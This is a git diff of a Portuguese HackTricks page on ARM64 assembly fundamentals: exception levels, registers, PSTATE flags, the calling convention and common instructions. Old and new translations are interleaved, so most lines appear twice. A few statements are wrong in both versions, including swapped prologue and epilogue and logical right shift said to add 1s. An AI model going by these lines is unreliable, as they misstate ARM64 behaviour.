Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,93 +19,94 @@ Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:
|
||||
|
||||
1. **EL0 - Modo Usuário**:
|
||||
* Este é o nível com menos privilégios e é usado para executar código de aplicativos regulares.
|
||||
* Aplicativos em execução em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e estabilidade.
|
||||
2. **EL1 - Modo Kernel do Sistema Operacional**:
|
||||
* A maioria dos kernels de sistemas operacionais é executada neste nível.
|
||||
* EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
|
||||
3. **EL2 - Modo Hypervisor**:
|
||||
* Este nível é usado para virtualização. Um hipervisor em execução em EL2 pode gerenciar vários sistemas operacionais (cada um em seu próprio EL1) em um mesmo hardware físico.
|
||||
1. **EL0 - Modo de Usuário**:
|
||||
* Este é o nível menos privilegiado e é usado para executar código de aplicativo regular.
|
||||
* Aplicativos executando em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e a estabilidade.
|
||||
2. **EL1 - Modo do Kernel do Sistema Operacional**:
|
||||
* A maioria dos kernels de sistemas operacionais opera neste nível.
|
||||
* EL1 tem mais privilégios do que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
|
||||
3. **EL2 - Modo de Hypervisor**:
|
||||
* Este nível é usado para virtualização. Um hypervisor executando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
|
||||
* EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
|
||||
4. **EL3 - Modo Monitor Seguro**:
|
||||
4. **EL3 - Modo de Monitor Seguro**:
|
||||
* Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis.
|
||||
* EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, SO confiável, etc.).
|
||||
* EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, OS confiável, etc.).
|
||||
|
||||
O uso desses níveis permite gerenciar de forma estruturada e segura diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 em relação aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e robustez do sistema.
|
||||
O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 em relação aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e a robustez do sistema.
|
||||
|
||||
## **Registradores (ARM64v8)**
|
||||
|
||||
ARM64 possui **31 registradores de propósito geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor de **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em modo de 32 bits usando os nomes w0 a w30.
|
||||
ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
|
||||
|
||||
1. **`x0`** a **`x7`** - Geralmente são usados como registradores temporários e para passar parâmetros para sub-rotinas.
|
||||
1. **`x0`** a **`x7`** - Estes são tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas.
|
||||
* **`x0`** também carrega os dados de retorno de uma função.
|
||||
2. **`x8`** - No kernel do Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS, o x16 é o utilizado!**
|
||||
2. **`x8`** - No kernel do Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS, o x16 é o que é usado!**
|
||||
3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais.
|
||||
4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
|
||||
4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Eles também são usados para chamadas de função indiretas e stubs da PLT (Tabela de Ligação de Procedimentos).
|
||||
* **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** no **macOS**.
|
||||
5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de propósito geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa atualmente **em execução no kernel do Linux**.
|
||||
6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamador. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de retornar ao chamador.
|
||||
7. **`x29`** - **Ponteiro de Frame** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registro **`x29`** é **armazenado na pilha** e o endereço do **novo** ponteiro de quadro (endereço **`sp`**) é **armazenado neste registro**.
|
||||
* Este registro também pode ser usado como um **registro de propósito geral**, embora seja geralmente usado como referência para **variáveis locais**.
|
||||
8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada armazenando o valor de **`pc`** neste registro.
|
||||
* Também pode ser usado como qualquer outro registro.
|
||||
5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa **executando atualmente no kernel do linux**.
|
||||
6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar para o chamador.
|
||||
7. **`x29`** - **Ponteiro de Quadro** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o **novo** endereço do ponteiro de quadro é (**endereço `sp`**) **armazenado neste registrador**.
|
||||
* Este registrador também pode ser usado como um **registrador de uso geral**, embora geralmente seja usado como referência para **variáveis locais**.
|
||||
8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor de **`pc`** neste registrador.
|
||||
* Ele também pode ser usado como qualquer outro registrador.
|
||||
* Se a função atual for chamar uma nova função e, portanto, sobrescrever `lr`, ela o armazenará na pilha no início, este é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Armazenar `fp` e `lr`, gerar espaço e obter novo `fp`) e recuperá-lo no final, este é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` e `lr` e retornar).
|
||||
9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha.
|
||||
* o valor de **`sp`** deve sempre ser mantido pelo menos em um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
|
||||
10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registro só pode ser atualizado por meio de gerações de exceção, retornos de exceção e branches. As únicas instruções comuns que podem ler este registro são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
|
||||
11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registro de **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em lugar nenhum (em **`xzr`**).
|
||||
* O valor de **`sp`** deve sempre ser mantido em pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
|
||||
10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
|
||||
11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**).
|
||||
|
||||
Os registradores **`Wn`** são a versão de **32 bits** do registrador **`Xn`**.
|
||||
Os registradores **`Wn`** são a versão **32 bits** do registrador **`Xn`**.
|
||||
|
||||
### Registradores SIMD e de Ponto Flutuante
|
||||
|
||||
Além disso, existem outros **32 registradores de comprimento de 128 bits** que podem ser usados em operações otimizadas de dados múltiplos de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Eles são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
|
||||
### Registros do Sistema
|
||||
Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
|
||||
|
||||
**Existem centenas de registros do sistema**, também chamados de registros de propósito especial (SPRs), que são usados para **monitorar** e **controlar** o **comportamento dos processadores**.\
|
||||
Eles só podem ser lidos ou definidos usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
|
||||
### Registradores do Sistema
|
||||
|
||||
Os registros especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao reverter engenharia. O sufixo `EL0` indica a **exceção mínima** da qual o registro pode ser acessado (neste caso, EL0 é a exceção regular (privilégio) nível que programas regulares são executados).\
|
||||
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas em execução em EL0, mas o segundo pode ser lido em EL0 e gravado em EL1 (como kernel).
|
||||
**Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\
|
||||
Eles só podem ser lidos ou configurados usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
|
||||
|
||||
Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção regular (privilégio) com o qual programas regulares são executados).\
|
||||
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas executando em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como o kernel).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0`
|
||||
* `msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** contém vários componentes de processo serializados no registro especial **`SPSR_ELx`** visível para o sistema operacional, sendo X o **nível de permissão da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
|
||||
**PSTATE** contém vários componentes do processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão** **da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
|
||||
Estes são os campos acessíveis:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* As flags de condição **`N`**, **`Z`**, **`C`** e **`V`**:
|
||||
* **`N`** significa que a operação resultou em um número negativo
|
||||
* **`Z`** significa que a operação resultou em zero
|
||||
* **`C`** significa que a operação foi realizada
|
||||
* **`V`** significa que a operação resultou em um estouro assinado:
|
||||
* As **flags de condição `N`**, **`Z`**, **`C`** e **`V`**:
|
||||
* **`N`** significa que a operação resultou em um resultado negativo.
|
||||
* **`Z`** significa que a operação resultou em zero.
|
||||
* **`C`** significa que a operação teve carry.
|
||||
* **`V`** significa que a operação resultou em um overflow assinado:
|
||||
* A soma de dois números positivos resulta em um número negativo.
|
||||
* A soma de dois números negativos resulta em um número positivo.
|
||||
* Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro da faixa do tamanho de bits fornecido.
|
||||
* Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu uma transferência de transporte no caso de ser assinada ou não assinada.
|
||||
* Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado.
|
||||
* Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu um carry no caso de ser assinado ou não assinado.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem.
|
||||
Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** fazem isso, e outras que têm um sufixo s como **`ADDS`** também o fazem.
|
||||
{% endhint %}
|
||||
|
||||
* A flag de **largura de registro atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 quando retomado.
|
||||
* O **Nível de Exceção Atual** (**`EL`**): Um programa regular em execução em EL0 terá o valor 0
|
||||
* A flag de **passo único** (**`SS`**): Usada por depuradores para passo único definindo a flag SS como 1 dentro de **`SPSR_ELx`** por meio de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
|
||||
* A flag de estado de exceção ilegal (**`IL`**): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, essa flag é definida como 1 e o processador aciona uma exceção de estado ilegal.
|
||||
* As flags **`DAIF`**: Essas flags permitem que um programa privilegiado mascare seletivamente certas exceções externas.
|
||||
* Se **`A`** for 1, significa que os **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** externas (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
|
||||
* As flags de seleção de ponteiro de pilha (**`SPS`**): Programas privilegiados em execução em EL1 e acima podem alternar entre o uso de seu próprio registro de ponteiro de pilha e o do modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Essa troca é realizada escrevendo no registro especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
|
||||
* A **flag de largura de registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 uma vez retomado.
|
||||
* O **Nível de Exceção atual** (**`EL`**): Um programa regular executando em EL0 terá o valor 0.
|
||||
* A **flag de passo único** (**`SS`**): Usada por depuradores para executar um passo único definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
|
||||
* A **flag de estado de exceção ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, essa flag é definida como 1 e o processador aciona uma exceção de estado ilegal.
|
||||
* As flags **`DAIF`**: Essas flags permitem que um programa privilegiado oculte seletivamente certas exceções externas.
|
||||
* Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
|
||||
* As flags de seleção de ponteiro de pilha (**`SPS`**): Programas privilegiados executando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o de modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Essa troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
|
||||
|
||||
## **Convenção de Chamada (ARM64v8)**
|
||||
|
||||
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** de uma função são passados nos registros **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O valor de **retorno** é passado de volta no registro **`x0`**, ou também em **`x1`** se tiver 128 bits de comprimento. Os registros **`x19`** a **`x30`** e **`sp`** devem ser **preservados** em chamadas de função.
|
||||
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados em registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for longo de 128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
|
||||
|
||||
Ao ler uma função em assembly, procure o **prólogo e epílogo** da função. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
|
||||
Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
|
||||
|
||||
### Convenção de Chamada em Swift
|
||||
|
||||
|
@ -113,146 +114,144 @@ Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**
|
|||
|
||||
## **Instruções Comuns (ARM64v8)**
|
||||
|
||||
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registro de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registros de origem**. Valores imediatos também podem ser usados no lugar de registros de origem.
|
||||
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registrador de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registradores de origem**. Valores imediatos também podem ser usados no lugar de registradores de origem.
|
||||
|
||||
* **`mov`**: **Mover** um valor de um **registro** para outro.
|
||||
* **`mov`**: **Mover** um valor de um **registrador** para outro.
|
||||
* Exemplo: `mov x0, x1` — Isso move o valor de `x1` para `x0`.
|
||||
* **`ldr`**: **Carregar** um valor da **memória** para um **registro**.
|
||||
* Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` em `x0`.
|
||||
* **`ldr`**: **Carregar** um valor da **memória** para um **registrador**.
|
||||
* Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` para `x0`.
|
||||
* **Modo de deslocamento**: Um deslocamento que afeta o ponteiro de origem é indicado, por exemplo:
|
||||
* `ldr x2, [x1, #8]`, isso carregará em x2 o valor de x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, isso carregará em x2 um objeto da matriz x0, da posição x1 (índice) \* 4
|
||||
* `ldr x2, [x1, #8]`, isso carregará em x2 o valor de x1 + 8.
|
||||
* `ldr x2, [x0, x1, lsl #2]`, isso carregará em x2 um objeto do array x0, da posição x1 (índice) \* 4.
|
||||
* **Modo pré-indexado**: Isso aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem.
|
||||
* `ldr x2, [x1, #8]!`, isso carregará `x1 + 8` em `x2` e armazenará em x1 o resultado de `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Armazene o registro de link em sp e atualize o registro sp
|
||||
* **Modo pós-indexado**: É como o anterior, mas o endereço de memória é acessado e então o deslocamento é calculado e armazenado.
|
||||
* `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8`
|
||||
* **Endereçamento relativo ao PC**: Neste caso, o endereço a ser carregado é calculado em relação ao registro PC
|
||||
* `ldr x1, =_start`, Isso carregará o endereço onde o símbolo `_start` começa em x1 em relação ao PC atual.
|
||||
* **`str`**: **Armazenar** um valor de um **registro** na **memória**.
|
||||
* `ldr x2, [x1, #8]!`, isso carregará `x1 + 8` em `x2` e armazenará em x1 o resultado de `x1 + 8`.
|
||||
* `str lr, [sp, #-4]!`, Armazena o registrador de link em sp e atualiza o registrador sp.
|
||||
* **Modo pós-indexado**: Isso é como o anterior, mas o endereço de memória é acessado e então o deslocamento é calculado e armazenado.
|
||||
* `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8`.
|
||||
* **Endereçamento relativo ao PC**: Neste caso, o endereço a ser carregado é calculado em relação ao registrador PC.
|
||||
* `ldr x1, =_start`, Isso carregará o endereço onde o símbolo `_start` começa em x1 relacionado ao PC atual.
|
||||
* **`str`**: **Armazenar** um valor de um **registrador** na **memória**.
|
||||
* Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` na localização de memória apontada por `x1`.
|
||||
* **`ldp`**: **Carregar Par de Registros**. Esta instrução **carrega dois registros** de **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registro.
|
||||
* Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` nos locais de memória em `x2` e `x2 + 8`, respectivamente.
|
||||
* **`stp`**: **Armazenar Par de Registros**. Esta instrução **armazena dois registros** em **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registro.
|
||||
* Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nos locais de memória em `sp` e `sp + 8`, respectivamente.
|
||||
* `stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nos locais de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`.
|
||||
* **`add`**: **Adicionar** os valores de dois registros e armazenar o resultado em um registro.
|
||||
* **`ldp`**: **Carregar Par de Registradores**. Esta instrução **carrega dois registradores** de **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
|
||||
* Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente.
|
||||
* **`stp`**: **Armazenar Par de Registradores**. Esta instrução **armazena dois registradores** em **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
|
||||
* Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respectivamente.
|
||||
* `stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`.
|
||||
* **`add`**: **Adicionar** os valores de dois registradores e armazenar o resultado em um registrador.
|
||||
* Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> Destino
|
||||
* Xn2 -> Operando 1
|
||||
* Xn3 | #imm -> Operando 2 (registrador ou imediato)
|
||||
* \[shift #N | RRX] -> Realiza um deslocamento ou chama RRX
|
||||
* Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` juntos e armazena o resultado em `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Isso é igual a 4096 (um 1 deslocado 12 vezes) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Isso realiza um `add` e atualiza as flags
|
||||
* **`sub`**: **Subtrai** os valores de dois registradores e armazena o resultado em um registrador.
|
||||
* Verifique a **sintaxe do `add`**.
|
||||
* \[shift #N | RRX] -> Realizar um deslocamento ou chamar RRX.
|
||||
* Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` e armazena o resultado em `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Isso é igual a 4096 (um 1 deslocado 12 vezes) -> 1 0000 0000 0000 0000.
|
||||
* **`adds`** Isso realiza um `add` e atualiza as flags.
|
||||
* **`sub`**: **Subtrair** os valores de dois registradores e armazenar o resultado em um registrador.
|
||||
* Verifique a **sintaxe de `add`**.
|
||||
* Exemplo: `sub x0, x1, x2` — Isso subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`.
|
||||
* **`subs`** Isso é como sub, mas atualizando a flag
|
||||
* **`mul`**: **Multiplica** os valores de **dois registradores** e armazena o resultado em um registrador.
|
||||
* **`subs`** Isso é como sub, mas atualiza a flag.
|
||||
* **`mul`**: **Multiplicar** os valores de **dois registradores** e armazenar o resultado em um registrador.
|
||||
* Exemplo: `mul x0, x1, x2` — Isso multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`.
|
||||
* **`div`**: **Divide** o valor de um registrador por outro e armazena o resultado em um registrador.
|
||||
* **`div`**: **Dividir** o valor de um registrador por outro e armazenar o resultado em um registrador.
|
||||
* Exemplo: `div x0, x1, x2` — Isso divide o valor em `x1` por `x2` e armazena o resultado em `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica n vezes por 2)
|
||||
* **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide n vezes por 2 em não assinado)
|
||||
* **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s se o bit mais significativo for 1, \*\*1s são adicionados (\*\*divide por n vezes 2 em assinado)
|
||||
* **Rotação à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda
|
||||
* **Rotação à direita com Extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
|
||||
* **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a posição do **bit mais à esquerda** e o **`#r`** a **quantidade de rotação à direita**.
|
||||
* Movimento de campo de bits: `BFM Xd, Xn, #r`
|
||||
* Movimento de campo de bits assinado: `SBFM Xd, Xn, #r, #s`
|
||||
* Movimento de campo de bits não assinado: `UBFM Xd, Xn, #r, #s`
|
||||
* **Extrair e Inserir Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador.
|
||||
* **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do 3º bit de X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Extrai do 3º bit de X2 quatro bits e os copia para X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 a partir da posição do bit 3, zerando os bits à direita
|
||||
* **`SBFX X1, X2, #3, #4`** Extrai 4 bits a partir do bit 3 de X2, estende o sinal deles e coloca o resultado em X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Estende com zeros 4 bits de X2 e os insere em X1 a partir da posição do bit 3, zerando os bits à direita
|
||||
* **`UBFX X1, X2, #3, #4`** Extrai 4 bits a partir do bit 3 de X2 e coloca o resultado estendido com zeros em X1.
|
||||
* **Estender Sinal Para X:** Estende o sinal (ou adiciona apenas 0s na versão não assinada) de um valor para poder realizar operações com ele:
|
||||
* **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits
|
||||
* **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits
|
||||
* **`SXTW X1, W2`** Estende o sinal de um byte **de W2 para X1** para preencher os 64 bits
|
||||
* **`UXTB X1, W2`** Adiciona 0s (não assinado) a um byte **de W2 para X1** para preencher os 64 bits
|
||||
